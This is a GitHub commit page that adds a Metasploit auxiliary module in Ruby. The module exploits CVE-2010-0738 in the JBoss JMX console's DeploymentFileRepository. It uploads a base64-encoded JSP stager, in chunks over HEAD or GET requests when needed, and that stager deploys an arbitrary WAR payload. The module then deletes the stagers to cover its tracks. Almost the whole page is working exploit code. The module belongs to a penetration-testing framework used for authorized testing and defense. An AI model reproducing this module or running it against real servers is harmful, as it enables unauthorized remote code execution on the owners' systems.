Skip to content

Commit a0b181b

Browse files
committed
Land rapid7#4335, @us3r777 JBoss DeploymentFileRepository aux module
2 parents 74b7ecc + 3059caf commit a0b181b

File tree

1 file changed

+143
-0
lines changed

1 file changed

+143
-0
lines changed
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::HTTP::JBoss
11+
12+
def initialize
13+
super(
14+
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
15+
'Description' => %q{
16+
This module uses the DeploymentFileRepository class in the JBoss Application Server
17+
to deploy a JSP file which then deploys an arbitrary WAR file.
18+
},
19+
'Author' =>
20+
[
21+
'us3r777 <us3r777[at]n0b0.so>'
22+
],
23+
'References' =>
24+
[
25+
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
26+
[ 'OSVDB', '64171' ],
27+
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
28+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
29+
],
30+
'Actions' =>
31+
[
32+
['Deploy'],
33+
['Undeploy']
34+
],
35+
'DefaultAction' => 'Deploy',
36+
'License' => BSD_LICENSE,
37+
)
38+
39+
register_options(
40+
[
41+
Opt::RPORT(8080),
42+
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
43+
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
44+
], self.class)
45+
end
46+
47+
def deploy_action(app_base, war_data)
48+
stager_base = Rex::Text.rand_text_alpha(8+rand(8))
49+
stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
50+
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
51+
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
52+
53+
if http_verb == 'POST'
54+
print_status("#{peer} - Deploying stager for the WAR file...")
55+
res = upload_file(stager_base, stager_jsp_name, stager_contents)
56+
else
57+
print_status("#{peer} - Deploying minimal stager to upload the payload...")
58+
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
59+
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
60+
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
61+
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
62+
63+
# We split the stager_jsp_code in multipe junks and transfer on the
64+
# target with multiple requests
65+
current_pos = 0
66+
while current_pos < stager_contents.length
67+
next_pos = current_pos + 5000 + rand(100)
68+
vars_get = { 'arg0' => stager_contents[current_pos,next_pos] }
69+
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
70+
res = deploy('uri' => head_stager_uri,
71+
'vars_get' => vars_get)
72+
current_pos += next_pos
73+
end
74+
end
75+
76+
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
77+
# but the file still gets written.
78+
unless res && ( res.code == 200 || res.code == 500)
79+
fail_with(Failure::Unknown, "Failed to deploy")
80+
end
81+
82+
print_status("#{peer} - Calling stager to deploy the payload warfile (might take some time)")
83+
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
84+
stager_res = deploy('uri' => stager_uri,
85+
'method' => 'GET')
86+
87+
if res && res.code == 200
88+
print_good("#{peer} - Payload deployed")
89+
else
90+
print_error("#{peer} - Failed to deploy final payload")
91+
end
92+
93+
# Cleaning stagers
94+
print_status("#{peer} - Undeploying stagers via DeploymentFileRepository.remove()...")
95+
print_status("#{peer} - This might take some time, be patient...") if http_verb == "HEAD"
96+
delete_res = []
97+
if head_stager_jsp_name
98+
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
99+
end
100+
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
101+
delete_res << delete_file('./', stager_base + '.war', '')
102+
delete_res.each do |res|
103+
if !res
104+
print_warning("#{peer} - Unable to remove WAR [No Response]")
105+
elsif (res.code < 200 || res.code >= 300)
106+
print_warning("#{peer} - WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
107+
end
108+
end
109+
end
110+
111+
# Undeploy the WAR and the stager if needed
112+
def undeploy_action(app_base)
113+
print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...")
114+
print_status("This might take some time, be patient...") if http_verb == "HEAD"
115+
res = delete_file('./', app_base + '.war', '')
116+
117+
unless res
118+
print_error("#{peer} - Unable to remove WAR (no response)")
119+
return
120+
end
121+
122+
if res.code < 200 || res.code >= 300
123+
print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]")
124+
else
125+
print_good("#{peer} - Successfully removed")
126+
end
127+
end
128+
129+
def run
130+
app_base = datastore['APPBASE']
131+
132+
case action.name
133+
when 'Deploy'
134+
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
135+
fail_with("Unable to open WARFILE")
136+
end
137+
war_data = File.read(datastore['WARFILE'])
138+
deploy_action(app_base, war_data)
139+
when 'Undeploy'
140+
undeploy_action(app_base)
141+
end
142+
end
143+
end

0 commit comments

Comments
 (0)